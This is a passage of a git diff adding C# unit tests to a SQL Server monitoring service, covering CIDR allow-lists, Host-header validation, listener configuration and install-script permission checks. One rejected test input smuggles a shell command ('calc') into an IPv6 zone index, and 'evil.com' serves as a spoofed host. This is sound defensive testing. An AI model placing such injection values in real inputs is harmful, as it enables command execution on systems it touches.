+            var viaFile = new DarlingConfig { Heartbeat = new HeartbeatConfig { Url = "file:" + file } };
+            var fileAliaser = new BundleAliaser();
+            DiagnosticsBundle.SeedNotificationIdentifiers(fileAliaser, viaFile);
+            var fileText = fileAliaser.Alias("Heartbeat ping to https://kuma.etahb5450.example.test failed. Pushed https://kuma.etahb5450.example.test/api/push/" + Token);
+            Assert.DoesNotContain("etahb5450", fileText, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain(Token, fileText, StringComparison.Ordinal);
+        }
+        finally
+        {
+            File.Delete(file);
+        }
+
+        /* A reference that cannot be resolved here is skipped without a throw. */
+        var unresolved = new DarlingConfig { Heartbeat = new HeartbeatConfig { Url = "env:DARLING_TEST_HEARTBEAT_NEVER_SET_5450" } };
+        DiagnosticsBundle.SeedNotificationIdentifiers(new BundleAliaser(), unresolved);
+    }
+
+
+    /* ───────────────────────── the read, against a real store ───────────────────────── */
+
+    [Fact]
+    public async Task ReadAsync_ReportsTheEnabledCountAndNewestTime_OnARealStore()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to run the #5450 live tests.");
+        var ok = false;
+        var scratch = await ScratchPostgres.CreateAsync(baseCs!, Ct);
+        try
+        {
+            await using (var migrate = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await migrate.OpenAsync(Ct);
+                await PgMigrations.MigrateAsync(migrate, Ct);
+            }
+
+            await using var store = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var hb = new DarlingHeartbeat(new CapturingTestLogger());
+
+            var empty = await hb.ReadAsync(store, Ct);
+            Assert.Equal(new HeartbeatRead(true, 0, null), empty);
+
+            await ExecAsync(store, "INSERT INTO config.config_monitored_servers (server_id, name, host, is_enabled) VALUES (7,'hb-7','h',true),(8,'hb-8','h',false)");
+            Assert.Equal(new HeartbeatRead(true, 1, null), await hb.ReadAsync(store, Ct));
+
+            var newest = DateTime.UtcNow.AddMinutes(-3);
+            var micro = new DateTime(newest.Ticks - (newest.Ticks % 10), DateTimeKind.Unspecified);
+            await using (var insert = store.CreateCommand(
+                "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, status) VALUES (1, 7, 'hb', 'cpu', @t, 'SUCCESS'), (2, 8, 'hb', 'cpu', @t2, 'SUCCESS')"))
+            {
+                insert.Parameters.Add(new NpgsqlParameter("t", NpgsqlDbType.Timestamp) { Value = micro });
+                insert.Parameters.Add(new NpgsqlParameter("t2", NpgsqlDbType.Timestamp) { Value = micro.AddMinutes(2) });
+                await insert.ExecuteNonQueryAsync(Ct);
+            }
+
+            var read = await hb.ReadAsync(store, Ct);
+            Assert.True(read.Ok);
+            Assert.Equal(1, read.EnabledServers);
+            /* The disabled server's newer row does not count. */
+            Assert.Equal(DateTime.SpecifyKind(micro, DateTimeKind.Utc), read.NewestUtc);
+            Assert.Equal(HeartbeatDecision.Ping, DarlingHeartbeat.Decide(read, DateTime.UtcNow));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(ok, async () => await scratch.DisposeAsync());
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource store, string sql)
+    {
+        await using var command = store.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(Ct);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingHostBindingTests.cs b/Darling/Darling.Tests/DarlingHostBindingTests.cs
index 58d75c1328..df4e089104 100644
--- a/Darling/Darling.Tests/DarlingHostBindingTests.cs
+++ b/Darling/Darling.Tests/DarlingHostBindingTests.cs
@@ -86,6 +86,130 @@ public void ResolveBind_Exposed_Managed_AllowFromFamilyMismatch_IsLoopbackOnly_A
         Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
     }
 
+    /* ---- #5288: allowFrom as a CIDR LIST. Every entry must parse and match the listen's family; one wrong
+       entry degrades the WHOLE listener (Critical, loopback-only) instead of being dropped quietly. ---- */
+
+    [Theory]
+    [InlineData("192.168.1.205", "192.168.1.0/24,10.8.0.0/16")]        // two IPv4 ranges on a specific IPv4 listen
+    [InlineData("192.168.1.205", " 192.168.1.0/24 , 10.8.0.0/16 ")]    // whitespace around entries is trimmed
+    [InlineData("192.168.1.205", "192.168.1.0/24,192.168.1.0/24")]      // a duplicate is dropped, not refused
+    [InlineData("0.0.0.0", "10.8.0.0/16,192.168.1.5/32")]               // IPv4 wildcard, a /32 beside a /16
+    [InlineData("::", "2001:db8::/32,fd00::/8")]                        // IPv6 wildcard, two IPv6 ranges
+    [InlineData("2001:db8::5", "2001:db8::/32,fd00::/8")]               // a specific IPv6
+    public void ResolveBind_List_EveryEntryMatchesTheListenFamily_IsNetworkAndLoopback(string listen, string allowFrom)
+    {
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.NetworkAndLoopback, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.NetworkExposed, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("192.168.1.205", "192.168.1.0/24,2001:db8::/32")]    // the SECOND entry is IPv6 on an IPv4 listen
+    [InlineData("192.168.1.205", "2001:db8::/32,192.168.1.0/24")]    // the FIRST entry is the wrong one
+    [InlineData("2001:db8::5", "2001:db8::/32,192.168.1.0/24")]      // an IPv4 entry on an IPv6 listen
+    [InlineData("0.0.0.0", "192.168.1.0/24,2001:db8::/32")]
+    public void ResolveBind_List_OneWrongFamilyEntry_IsAllowFromInvalid(string listen, string allowFrom)
+    {
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.LoopbackOnly, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("::", "10.8.0.0/16")]                   // an IPv4 entry alone on a :: listen
+    [InlineData("::", "2001:db8::/32,10.8.0.0/16")]     // one IPv4 entry among IPv6 ones
+    [InlineData("::", "10.8.0.0/16,2001:db8::/32")]
+    public void ResolveBind_List_IPv6AnyListen_IPv4Entry_IsAllowFromInvalid(string listen, string allowFrom)
+    {
+        /* F6: Kestrel binds "::" dual-stack, so IPv4 clients DO arrive there (as IPv4-mapped IPv6 addresses,
+           which IsRemoteAddressAllowed unwraps) - and the family rule stays strict anyway: "::" takes IPv6
+           entries only. */
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.LoopbackOnly, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("::", "::ffff:10.0.0.0/104")]                 // passes a family check on an IPv6 listen, can never match
+    [InlineData("::", "2001:db8::/32,::ffff:10.0.0.0/104")]
+    [InlineData("192.168.1.205", "192.168.1.0/24,")]           // a trailing comma: an empty entry
+    [InlineData("192.168.1.205", ",192.168.1.0/24")]
+    [InlineData("192.168.1.205", "192.168.1.0/24,,10.8.0.0/16")]
+    [InlineData("192.168.1.205", "192.168.1.0/24, ")]
+    [InlineData("192.168.1.205", "192.168.1.0/24,garbage")]
+    [InlineData("192.168.1.205", "192.168.1.0/24,10.8.0.0")]   // an address with no prefix
+    [InlineData("192.168.1.205", "192.168.1.0/24;10.8.0.0/16")]
+    public void ResolveBind_List_BadEntry_IsAllowFromInvalid(string listen, string allowFrom)
+    {
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.LoopbackOnly, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("192.168.1.205", "192.168.010.0/24")]             // a leading zero reads as octal: another range
+    [InlineData("192.168.1.205", "010.0.0.0/8")]
+    [InlineData("192.168.1.205", "10/8")]                         // short forms are zero-padded
+    [InlineData("192.168.1.205", "10.1/16")]
+    [InlineData("192.168.1.205", "0x0A.0.0.0/8")]                 // 0x reads as hex
+    [InlineData("192.168.1.205", "1.2.3.04/32")]
+    [InlineData("192.168.1.205", "192.168.1.0/24,192.168.010.0/24")]   // refused wherever it sits in the list
+    [InlineData("192.168.1.205", "010.0.0.0/8,192.168.1.0/24")]
+    public void ResolveBind_List_NonCanonicalIPv4_IsAllowFromInvalid(string listen, string allowFrom)
+    {
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.LoopbackOnly, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("::", "fe80::1%5/64")]
+    [InlineData("::", "2001:db8::/32,fe80::1%5/64")]
+    [InlineData("::", "fe80::1%x';calc;'/64")]
+    public void ResolveBind_List_IPv6ZoneIndex_IsAllowFromInvalid(string listen, string allowFrom)
+    {
+        var decision = DarlingHostBinding.ResolveBind(listen, allowFrom, tokenPresent: true, networkConfigured: true, managed: true);
+
+        Assert.Equal(DarlingHostBinding.BindMode.LoopbackOnly, decision.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.AllowFromInvalid, decision.Reason);
+    }
+
+    [Theory]
+    [InlineData("DarlingMcpHostService.cs")]
+    [InlineData("DarlingWebHostService.cs")]
+    public void TheAllowFromInvalidCriticalLine_NamesTheCommaList_AndNoJsonArray(string fileName)
+    {
+        /* The comma string is the form that loads on every version, so it is the one the line recommends: a
+           service older than #5288 cannot deserialize a JSON array and fails to start, collection included. */
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", fileName);
+        var start = source.IndexOf(".AllowFromInvalid:", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the AllowFromInvalid case is gone, so this pin would read nothing");
+        var end = source.IndexOf("break;", start, StringComparison.Ordinal);
+        Assert.True(end > start, "the AllowFromInvalid case has no break, so this pin would read nothing");
+        var line = source[start..end];
+
+        Assert.Contains("separated by commas", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("JSON array", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDocumentedAllowFromInvalidLine_NamesTheCommaList_AndNoJsonArray()
+    {
+        var doc = RepoFile.ReadRepoFile("docs", "uat-onboarding.md");
+        var line = Array.Find(
+            doc.Split('\n'),
+            l => l.StartsWith("MCP network exposure requested but mcp.network.allowFrom", StringComparison.Ordinal));
+
+        Assert.NotNull(line);
+        Assert.Contains("separated by commas", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("JSON array", line, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void ResolveBind_Exposed_Byo_IsLoopbackOnly_ManagedModeRequired()
     {
@@ -206,6 +330,62 @@ public void IsRemoteAddressAllowed_Ipv4Cidr(string remote, bool expected)
     public void IsRemoteAddressAllowed_NullRemote_FailsClosed()
         => Assert.False(DarlingHostBinding.IsRemoteAddressAllowed(null, IPNetwork.Parse("192.168.1.0/24")));
 
+    /* ---- #5288: the same check over a LIST - any entry admits, none refuses, loopback stays exempt ---- */
+
+    [Theory]
+    [InlineData("192.168.1.50", true)]   // first entry
+    [InlineData("10.8.3.4", true)]       // second entry
+    [InlineData("203.0.113.9", true)]    // a /32 entry
+    [InlineData("203.0.113.10", false)]  // the neighbor of the /32
+    [InlineData("192.168.2.1", false)]
+    [InlineData("10.9.0.1", false)]
+    [InlineData("2001:db8::1", false)]   // a native IPv6 remote against IPv4 entries
+    [InlineData("127.0.0.1", true)]      // loopback is in no entry and is always allowed
+    [InlineData("::1", true)]
+    public void IsRemoteAddressAllowed_List_AdmitsAnyEntry_RefusesTheRest(string remote, bool expected)
+        => Assert.Equal(expected, DarlingHostBinding.IsRemoteAddressAllowed(
+            IPAddress.Parse(remote), CidrAllowList.Parse("192.168.1.0/24,10.8.0.0/16,203.0.113.9/32")));
+
+    [Theory]
+    [InlineData("::ffff:192.168.1.50", true)]   // a mapped remote is unwrapped to IPv4 and matches an IPv4 entry
+    [InlineData("::ffff:10.8.3.4", true)]
+    [InlineData("::ffff:203.0.113.9", true)]
+    [InlineData("::ffff:10.9.0.1", false)]
+    [InlineData("::ffff:127.0.0.1", true)]      // mapped loopback
+    public void IsRemoteAddressAllowed_List_MappedRemote_MatchesIPv4Entry(string remote, bool expected)
+        => Assert.Equal(expected, DarlingHostBinding.IsRemoteAddressAllowed(
+            IPAddress.Parse(remote), CidrAllowList.Parse("192.168.1.0/24,10.8.0.0/16,203.0.113.9/32")));
+
+    [Theory]
+    [InlineData("10.8.1.1", true)]
+    [InlineData("2001:db8::7", true)]
+    [InlineData("2001:db9::1", false)]
+    [InlineData("::ffff:10.8.1.1", true)]
+    [InlineData("10.9.1.1", false)]
+    public void IsRemoteAddressAllowed_List_MixedFamilies_EachEntryAppliesToItsOwnFamily(string remote, bool expected)
+        => Assert.Equal(expected, DarlingHostBinding.IsRemoteAddressAllowed(
+            IPAddress.Parse(remote), CidrAllowList.Parse("10.8.0.0/16,2001:db8::/32")));
+
+    /* ---- IsAllowedHost's third argument: the ONE extra name each host admits (#4220 web, #5288 MCP) ---- */
+
+    [Theory]
+    [InlineData("monitor.example.com", "monitor.example.com", true)]
+    [InlineData("Monitor.EXAMPLE.com", "monitor.example.com", true)]          // case-insensitive, both ways
+    [InlineData("monitor.example.com", "MONITOR.Example.com", true)]
+    [InlineData("b\u00FCcher.example", "b\u00FCcher.example", true)]          // the decoded form HttpRequest.Host hands the guard
+    [InlineData("xn--bcher-kva.example", "b\u00FCcher.example", false)]       // compared AS GIVEN: each host converts its name first
+    [InlineData("evil.com", "monitor.example.com", false)]
+    [InlineData("monitor.example.com.evil.com", "monitor.example.com", false)] // exact, not a suffix or prefix match
+    [InlineData("monitor.example.com:5153", "monitor.example.com", false)]     // the caller splits the port off first
+    [InlineData("monitor.example.com", null, false)]                           // no extra name: unchanged
+    [InlineData("monitor.example.com", "", false)]
+    [InlineData("", "monitor.example.com", true)]                              // no Host at all is the guard's own rule (HTTP/1.0), not this name's
+    [InlineData(null, "monitor.example.com", true)]
+    [InlineData("localhost", "monitor.example.com", true)]                     // the guard's own list is untouched
+    [InlineData("192.168.1.205", "monitor.example.com", true)]
+    public void IsAllowedHost_ExtraName_IsAnExactCaseInsensitiveCompareOfWhatItIsGiven(string? host, string? extraAllowedHost, bool expected)
+        => Assert.Equal(expected, DarlingHostBinding.IsAllowedHost(host, IPAddress.Parse("192.168.1.205"), extraAllowedHost));
+
     /* ---- FixedTimeTokenEquals: only an exact match; empty/null never authorizes ---- */
 
     [Theory]
diff --git a/Darling/Darling.Tests/DarlingHostConfigurationPinTests.cs b/Darling/Darling.Tests/DarlingHostConfigurationPinTests.cs
new file mode 100644
index 0000000000..f287718f9e
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingHostConfigurationPinTests.cs
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Hosting.Server;
+using Microsoft.AspNetCore.Hosting.Server.Features;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Hosting;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: the two hosts (the MCP server and the web dashboard) take their security-relevant settings from code, not from
+/// whatever the service environment or an appsettings file adds. These tests pin the glue each host owns, which a
+/// test cannot drive through <c>TryStartServerAsync</c> (a network-mode start needs a managed store): that each host
+/// runs <see cref="DarlingMcpHostService.PinForwardedHeadersOff"/> on its own builder, and that each host's listener
+/// layout starts from an empty Kestrel configuration. The behavior behind each pin is proven where the pipeline is
+/// built: <see cref="DarlingAllowFromListGateTests"/> for forwarded headers and the live listener test in this class
+/// for configured endpoints.
+///
+/// <para>Source pins read the code with comments and literals blanked
+/// (<see cref="CSharpSourceWalker.StripCommentsAndStrings"/>), the way
+/// <c>DarlingWebFailureHandlingTests.BothWebHosts_PinEnvironmentNameToProduction_OnTheirOwnCreateBuilderCall</c>
+/// reads the same two files, so prose in a comment can neither satisfy nor break one.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class DarlingHostConfigurationPinTests
+{
+    private static string HostCode(string fileName)
+        => CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", fileName));
+
+    /// <summary>
+    /// Each host pins forwarded-header handling off on the statement right after its <c>WebApplication.CreateBuilder</c>
+    /// call, so no service is registered between the builder and the pin, and each host builds exactly one builder,
+    /// so a second one cannot start without it. The behavior (an <c>X-Forwarded-For</c> naming an allowed address does
+    /// not change who the gates judge, even with the framework switch on) is proven in
+    /// <c>DarlingAllowFromListGateTests</c> through the same helper.
+    /// </summary>
+    [Theory]
+    [InlineData("DarlingMcpHostService.cs", "PinForwardedHeadersOff(builder.Services);")]
+    [InlineData("DarlingWebHostService.cs", "DarlingMcpHostService.PinForwardedHeadersOff(builder.Services);")]
+    public void EachHost_PinsForwardedHeadersOff_OnTheStatementAfterItsOwnCreateBuilder(string fileName, string pinCall)
+    {
+        var code = HostCode(fileName);
+
+        Assert.Single(Regex.Matches(code, @"WebApplication\.CreateBuilder\("));
+
+        var pinned = new Regex(@"WebApplication\.CreateBuilder\([^;]*?\}\);\s*" + Regex.Escape(pinCall));
+        Assert.True(
+            pinned.IsMatch(code),
+            $"{fileName}: the statement after WebApplication.CreateBuilder(...) must be {pinCall}");
+    }
+
+    /* ---- the listener layout starts from an empty Kestrel configuration ---- */
+
+    private const string EmptyConfigurationLine = "options.Configure(new ConfigurationBuilder().Build());";
+
+    /// <summary>
+    /// The MCP host's listener layout binds exactly the listeners <c>ConfigureListeners</c> adds, and no endpoint
+    /// written in the <c>Kestrel:Endpoints</c> section of configuration (an appsettings file, or a
+    /// <c>Kestrel__Endpoints__*</c> variable in the service environment). Over REAL Kestrel on loopback with an
+    /// ephemeral port, the way <c>DarlingMcpTlsLiveTests</c> starts its listener: an endpoint is written into the
+    /// builder's configuration on a second free port, the host's own <c>ConfigureListeners</c> binds, and the server's
+    /// bound addresses are exactly the one the code asked for.
+    /// </summary>
+    [Fact]
+    public async Task McpListeners_BindOnlyTheCodeDefinedEndpoint_NotOnesWrittenInConfiguration()
+    {
+        var configuredPort = FreeLoopbackPort();
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions { EnvironmentName = Environments.Production });
+        builder.Logging.ClearProviders();
+        builder.Configuration["Kestrel:Endpoints:Extra:Url"] = $"http://127.0.0.1:{configuredPort}";
+        builder.WebHost.ConfigureKestrel(options =>
+            DarlingMcpHostService.ConfigureListeners(
+                options, networkMode: true, IPAddress.Loopback, effectivePort: 0, certificate: null));
+
+        await using var app = builder.Build();
+        await app.StartAsync();
+        try
+        {
+            var addresses = app.Services.GetRequiredService<IServer>().Features.Get<IServerAddressesFeature>()!.Addresses.ToArray();
+
+            var bound = Assert.Single(addresses);
+            Assert.NotEqual(configuredPort, new Uri(bound).Port);
+        }
+        finally
+        {
+            await app.StopAsync();
+        }
+    }
+
+    /// <summary>
+    /// The web host's Kestrel callback is inline in <c>TryStartServerAsync</c> (a network-mode start needs a managed
+    /// store, so no test starts it), so what is pinned from source is the same line the MCP host's
+    /// <c>ConfigureListeners</c> runs and proves above: it appears once per host and is the first statement of the
+    /// listener layout, ahead of every <c>options.Listen</c>.
+    /// </summary>
+    [Theory]
+    [InlineData(
+        "DarlingMcpHostService.cs",
+        @"static void ConfigureListeners\([^)]*\)\s*\{\s*ArgumentNullException\.ThrowIfNull\(options\);\s*ArgumentNullException\.ThrowIfNull\(primaryBind\);\s*")]
+    [InlineData("DarlingWebHostService.cs", @"\.ConfigureKestrel\(\s*options\s*=>\s*\{\s*")]
+    public void EachHost_ListenerLayout_StartsFromAnEmptyKestrelConfiguration(string fileName, string whatPrecedesIt)
+    {
+        var code = HostCode(fileName);
+
+        Assert.Single(Regex.Matches(code, Regex.Escape(EmptyConfigurationLine)));
+        Assert.True(
+            Regex.IsMatch(code, whatPrecedesIt + Regex.Escape(EmptyConfigurationLine)),
+            $"{fileName}: {EmptyConfigurationLine} must be the first statement of the listener layout");
+
+        var configure = code.IndexOf(EmptyConfigurationLine, StringComparison.Ordinal);
+        var firstListen = code.IndexOf("options.Listen", StringComparison.Ordinal);
+        Assert.True(
+            firstListen > configure,
+            $"{fileName}: no listener may be added before the Kestrel configuration is emptied");
+    }
+
+    private static int FreeLoopbackPort()
+    {
+        using var probe = new TcpListener(IPAddress.Loopback, 0);
+        probe.Start();
+        return ((IPEndPoint)probe.LocalEndpoint).Port;
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingHttpRefusalLogTests.cs b/Darling/Darling.Tests/DarlingHttpRefusalLogTests.cs
index 37b162c220..c424235b16 100644
--- a/Darling/Darling.Tests/DarlingHttpRefusalLogTests.cs
+++ b/Darling/Darling.Tests/DarlingHttpRefusalLogTests.cs
@@ -411,6 +411,7 @@ public void ABearerRefusal_TellsNoTokenFromAMalformedOne_FromAWrongOne(string? h
     [InlineData(400, "refused")]
     [InlineData(401, "refused")]
     [InlineData(403, "refused")]
+    [InlineData(415, "refused")]
     [InlineData(200, "did not authorize")]
     [InlineData(302, "did not authorize")]
     public void TheOutcomeVerb_AgreesWithTheStatusCode(int statusCode, string expected) =>
diff --git a/Darling/Darling.Tests/DarlingInstallLocationTests.cs b/Darling/Darling.Tests/DarlingInstallLocationTests.cs
index f3807d26ff..813c86f4d4 100644
--- a/Darling/Darling.Tests/DarlingInstallLocationTests.cs
+++ b/Darling/Darling.Tests/DarlingInstallLocationTests.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Diagnostics;
 using System.IO;
+using System.Linq;
 using System.Text;
 using System.Text.RegularExpressions;
 using Xunit;
@@ -561,9 +562,13 @@ public void TheNarrowedLock_KeepsTheServiceOnItsConfig_AndHandsTheKeyFolderOverA
         var lockText = ExtractFunction(InstallScript, "Lock-DarlingInstallTree");
         var helper = ExtractFunction(InstallScript, "Get-DarlingExtraServiceWriteDirectories");
 
-        Assert.Contains("$isSecretFile = $target.Name -eq 'darling.json' -or $target.Name -like 'darling.json.bak-*'", lockText, StringComparison.Ordinal);
+        Assert.Contains("$isSecretFile = (-not $target.PSIsContainer) -and ([IO.Path]::GetDirectoryName($path).TrimEnd('\\') -ieq $root.TrimEnd('\\')) -and (Test-DarlingServiceWrittenFileName $target.Name)", lockText, StringComparison.Ordinal);
         Assert.Contains("-or $isServiceWritePath -or $isSecretFile)) { $trustedHere += $serviceSid }", lockText, StringComparison.Ordinal);
-        Assert.Contains("return @('darling-keys')", helper, StringComparison.Ordinal);
+        Assert.Contains("return @((Get-DarlingServiceWrittenNames).KeyDirectories)", helper, StringComparison.Ordinal);
+        Assert.Contains("(Get-DarlingServiceWrittenNames).Directories", lockText, StringComparison.Ordinal);
+        Assert.Contains("$names.Files", ExtractFunction(InstallScript, "Test-DarlingServiceWrittenFileName"), StringComparison.Ordinal);
+        Assert.Contains("$names.BackupPattern", ExtractFunction(InstallScript, "Test-DarlingServiceWrittenFileName"), StringComparison.Ordinal);
+        Assert.Contains("'darling-keys'", ExtractFunction(InstallScript, "Get-DarlingServiceWrittenNames"), StringComparison.Ordinal);
         Assert.Equal(PerformanceMonitor.Darling.Service.DarlingLogHashKeyFile.BringYourOwnDirectoryName, "darling-keys");
         Assert.DoesNotContain("(Split-Path -LiteralPath $configPath -Parent)", helper, StringComparison.Ordinal);
         Assert.Equal(helper, ExtractFunction(upgrade, "Get-DarlingExtraServiceWriteDirectories"));
@@ -586,6 +591,807 @@ public void ThePreLockWritableExtractionCheck_ShipsIdenticallyInTheInstallAndUpg
         Assert.Equal(ExtractFunction(InstallScript, "Get-LocalAdministratorsDirectMemberSids"), ExtractFunction(upgrade, "Get-LocalAdministratorsDirectMemberSids"));
         Assert.Equal(ExtractFunction(InstallScript, "Resolve-DarlingServiceAccountSid"), ExtractFunction(upgrade, "Resolve-DarlingServiceAccountSid"));
         Assert.Equal(ExtractFunction(InstallScript, "Get-DarlingPreLockTrustedSidsForRerun"), ExtractFunction(upgrade, "Get-DarlingPreLockTrustedSidsForRerun"));
+
+        /* #5627: the service-written list, its two tests, the service SIDs, the path helper they use and the text builders. */
+        foreach (var name in new[]
+        {
+            "Get-DarlingServiceSids", "Get-DarlingServiceWrittenNames", "Test-DarlingServiceWrittenFileName",
+            "Test-DarlingServiceWrittenPath", "Test-PathIsAtOrUnder", "Get-DarlingConfiguredPathsUnder",
+            "Get-DarlingNewFolderPhrase", "Get-DarlingExistingInstallSteps", "Get-DarlingFreshFolderAdvice",
+            "Get-DarlingRefusalAdvice", "Test-DarlingSamePath", "Get-DarlingInstallRootFromService",
+        })
+        {
+            Assert.Equal(ExtractFunction(InstallScript, name), ExtractFunction(upgrade, name));
+        }
+    }
+
+    /// <summary>
+    /// #5627: the service SIDs derive ONLY this product's own service SID, from its service name, and the base trusted
+    /// set derives none. No other NT SERVICE SID, and no NT SERVICE authority as a whole, may ever join either. Both
+    /// scripts hand the service name on whether or not the service is registered.
+    /// </summary>
+    [Fact]
+    public void TheServiceSids_DeriveOnlyTheProductsOwnServiceSid_AndTheBaseSetDerivesNone()
+    {
+        var upgrade = ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1"));
+
+        foreach (var script in new[] { InstallScript, upgrade })
+        {
+            var trust = ExtractFunction(script, "Get-DarlingServiceSids");
+            Assert.Contains("[string]$serviceName", trust, StringComparison.Ordinal);
+            Assert.Contains("$serviceName.ToUpperInvariant()", trust, StringComparison.Ordinal);
+            Assert.Contains("\"S-1-5-80-$($nameParts -join '-')\"", trust, StringComparison.Ordinal);
+            Assert.DoesNotContain("NT SERVICE\\*", trust, StringComparison.Ordinal);
+
+            var baseSet = ExtractFunction(script, "Get-DarlingPreLockTrustedSids");
+            Assert.DoesNotContain("S-1-5-80", baseSet, StringComparison.Ordinal);
+            Assert.DoesNotContain("$serviceName", baseSet, StringComparison.Ordinal);
+
+            // Both paths of the re-run function hand the service name on, registered or not.
+            var rerun = ExtractFunction(script, "Get-DarlingPreLockTrustedSidsForRerun");
+            Assert.Contains("Get-DarlingServiceSids $null $serviceName", rerun, StringComparison.Ordinal);
+            Assert.Contains("Get-DarlingServiceSids $existingAccount $serviceName", rerun, StringComparison.Ordinal);
+        }
+
+        // Every install-folder call site goes through the re-run function with the service name.
+        Assert.Contains("Get-DarlingPreLockTrustedSidsForRerun $serviceName $existing", InstallScript, StringComparison.Ordinal);
+        Assert.Contains("Get-DarlingPreLockTrustedSidsForRerun $serviceName $existingService", upgrade, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5627: the two source-build checks of upgrade-darling.ps1 (the folder SHA256SUMS.txt sits in, and a folder
+    /// -Source) use the base trusted set, which names no service account, so a file or write grant held by the
+    /// service's own account in a source folder is a finding. Pinned at both call sites and run against a tree whose
+    /// pg-runtime the service owns.
+    /// </summary>
+    [Fact]
+    public void TheSourceBuildChecks_TrustNoServiceAccount()
+    {
+        var upgrade = ReadRepoFile(Path.Combine("Darling", "tools", "upgrade-darling.ps1"));
+
+        Assert.Contains("$sourceTrusted = @(Get-DarlingPreLockTrustedSids)", upgrade, StringComparison.Ordinal);
+        Assert.Contains("$sumsFolderWritable = @(Get-UntrustedWriteGrantees $sourceRoot $sourceTrusted -Recurse)", upgrade, StringComparison.Ordinal);
+        Assert.Contains("$writable = @(Get-UntrustedWriteGrantees $Source $sourceTrusted -Recurse)", upgrade, StringComparison.Ordinal);
+        foreach (var line in upgrade.Split('\n').Where(l => l.Contains("Get-UntrustedWriteGrantees $Source", StringComparison.Ordinal) || l.Contains("Get-UntrustedWriteGrantees $sourceRoot", StringComparison.Ordinal)))
+        {
+            Assert.DoesNotContain("-ServiceSids", line, StringComparison.Ordinal);
+            Assert.DoesNotContain("$preLockTrusted", line, StringComparison.Ordinal);
+        }
+
+        var probe = ServiceOwnedTreeProbe();
+        probe.AppendLine("""
+            try {
+                # The service owns pg-runtime, as in every tree above. As a source folder it is named.
+                $source = @(Get-UntrustedWriteGrantees $script:root @(Get-DarlingPreLockTrustedSids) -Recurse | ForEach-Object { $_ -replace [regex]::Escape($script:root), '<root>' })
+                'source.count=' + $source.Count
+                'source.owned=' + (@($source | Where-Object { $_ -like '*owned by*' -and $_ -like '<root>\pg-runtime*' }).Count -gt 0)
+                'source.grant=' + (@($source | Where-Object { $_ -like '*on <root>\pg-runtime*' }).Count -gt 0)
+            }
+            finally {
+                Remove-Item -LiteralPath $script:root -Recurse -Force -ErrorAction SilentlyContinue
+            }
+            """);
+
+        var answers = RunServiceOwnedTreeProbe(probe);
+
+        Assert.DoesNotContain("source.count=0", answers);
+        Assert.Contains("source.owned=True", answers);
+        Assert.Contains("source.grant=True", answers);
+    }
+
+    /// <summary>
+    /// #5627, text pin: the refusal for an EXISTING install (the service is registered) gives the numbered steps
+    /// (stop the service, a new empty folder, check darling.json and copy it first, run install-darling.ps1 from
